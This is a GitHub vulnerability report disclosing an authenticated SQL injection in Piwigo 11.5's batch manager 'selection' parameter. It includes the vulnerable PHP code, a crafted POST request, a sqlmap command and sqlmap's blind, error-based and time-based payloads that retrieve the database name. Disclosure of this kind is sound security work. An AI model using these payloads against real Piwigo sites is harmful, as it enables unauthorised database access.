

New issue

[Jump to bottom](#)

# [11.5]SQL injection #1469

Closed

Y4tacker opened this issue on Aug 29, 2021 · 3 comments

Y4tacker commented on Aug 29, 2021 • edited

I find that there is a sql in piwigo, here are my descriptions;

At first we need to login and then we can visit the website <http://your-url/admin.php>

then we need a Key Parameters called pwg\_token, there are many ways to get a token

i visit [http://your-url/admin.php?page=user\\_list](http://your-url/admin.php?page=user_list)

The screenshot shows a web browser at the URL [zanpian.y4tacker.top/admin.php?page=user\\_list](http://zanpian.y4tacker.top/admin.php?page=user_list). The page displays a user management interface with a table of users. A red arrow points to the URL bar, and another points to the '管理' (Manage) button in the sidebar.

用户名	身份	邮箱地址	组	隐私等级
<input type="checkbox"/> testcms	站长	testcms@qq.com		管理员
<input type="checkbox"/> guest	游客			
<input type="checkbox"/> asdsad	个人帐户	2337793771@qq.com		
<input type="checkbox"/> sadsa	个人帐户	sad@zz.com		

显示第 1 至 4 个用户, 共 4 个用户

The network tool (Fiddler) shows a request to `user_list_backend.php` with the following parameters:

- Query String Parameters: `format: json`, `method: pwg.users.add`
- Form Data: `username: sadsa`, `password: sadsad`, `email: sad@zz.com`, `pwg_token: 3c28c3bf6adc56b0695cf64073605f9b`

then i got pwg\_token=3c28c3bf6adc56b0695cf64073605f9b

The point of vulnerability is in `admin/batch_manager_global.php`; The parameter selection is not filtered

```
42
43
44 $collection = array();
45 if (isset($_POST['nb_photos_deleted']))
46 {
47     check_input_parameter( param_name: 'nb_photos_deleted', $_POST, is_array: false, pattern: '/^\d+$/');
48
49     // let's fake a collection (we don't know the image_ids so we use "null", we only
50     // care about the number of items here)
51     $collection = array_fill( start_index: 0, $_POST['nb_photos_deleted'], value: null);
52 }
53 else if (isset($_POST['setSelected']))
54 {
55     $collection = $page['cat_elements_id'];
56 }
57 else if (isset($_POST['selection']))
58 {
59     $collection = $_POST['selection'];
60 }
61
62 // +-----+
63 // |                                     |
64 // +-----+
```

A red arrow points to the line `$collection = $_POST['selection'];` in the code, indicating the vulnerability where the parameter selection is not filtered.

Unfiltered parameters selection is spliced

```

394     else if ('metadata' == $action)
395     {
396         $page['infos'][] = l10n( key: 'Metadata synchronized from file').' <span class="badge">'.count($collection).' <
397     }
398
399     else if ('delete_derivatives' == $action && !empty($_POST['del_derivatives_type']))
400     {
401         $query='SELECT path,representative_ext FROM '.IMAGES_TABLE.'
402         WHERE id IN ('.implode( separator: ',', $collection).')';
403         $result = pwg_query($query);
404         while ($info = pwg_db_fetch_assoc($result))
405         {
406             foreach( $_POST['del_derivatives_type'] as $type)
407             {
408                 delete_element_derivatives($info, $type);
409             }
410         }
411     }
412
413     else if ('generate_derivatives' == $action)

```

The next step is to capture packets using BurpSuite by simply constructing parameters

selection%5B%5D=1&selectAction=delete\_derivatives&submit=1&del\_derivatives\_type=1&del\_tags%5B%5D=1&pwg\_token=4a3513cd81aa311107704fd00bde0a79

Remember to replace the value of the token above

```

1 POST /admin.php?page=batch_manager_global HTTP/1.1
2 Host: zanpian.y4tacker.top
3 Content-Length: 256
4 Pragma: no-cache
5 Cache-Control: no-cache
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
8 Origin: http://zanpian.y4tacker.top
9 Content-Type: application/x-www-form-urlencoded
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
13 Cookie: __ga=GAL.1.342872197.1622171570; __gads=ID=f49d374022217f28-2225234404c90006:T=1622171570:RT=1622171570:S=ALNI_M2F8ir8wGfn4_20Vge8GxaByFoIRQ;
14 Connection: close
15
16 selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79

```

- Scan
- Do passive scan
- Do active scan
- Send to Intruder
- Send to Repeater
- Send to Sequencer
- Send to Comparer
- Send to Decoder
- Request in browser
- Copy as requests
- Copy as requests with session obj
- Engagement tools
- Change request method
- Change body encoding
- Copy URL
- Copy as curl command
- Copy to file
- Paste from file
- Save item
- Don't intercept requests
- Do intercept
- Convert selection

Save parameters to file, then just use sqlmap to exploit

```
python sqlmap.py -r 1233 --current-db
```

```


Parameter: selection[] (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: selection[]=1 RLIKE (SELECT (CASE WHEN (2102=2102) THEN 1 ELSE 0x28 END))&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags[]=1&pwg_token=4a3513cd81aa311107704fd00bde0a79

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: selection[]=1 AND (SELECT 9692 FROM (SELECT COUNT(*), CONCAT(0x71717a7171, (SELECT (ELT(9692=9692,1))), 0x717617171, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags[]=1&pwg_token=4a3513cd81aa311107704fd00bde0a79

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: selection[]=1 AND (SELECT 8851 FROM (SELECT (SLEEP(5)))Izof)&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags[]=1&pwg_token=4a3513cd81aa311107704fd00bde0a79

[13:30:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[13:30:35] [INFO] fetching current database
[13:30:35] [INFO] retrieved: 'testcms'
current database: 'testcms'

```

 Y4tacker closed this as completed on Aug 29, 2021

fgeek commented on Dec 7, 2021

@Stakcory why was this closed? Someone has requested CVE identifier for this vulnerability. Please see: <https://nvd.nist.gov/vuln/detail/CVE-2021-40313>

@plegall is this valid and needs to be fixed?

Y4tacker commented on Dec 7, 2021

Author

I submitted this earlier and clicked close by the way

ajakk commented on Dec 8, 2021

I submitted this earlier and clicked close by the way

So, is this fixed? If so, what is the fixed version/commit?



Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

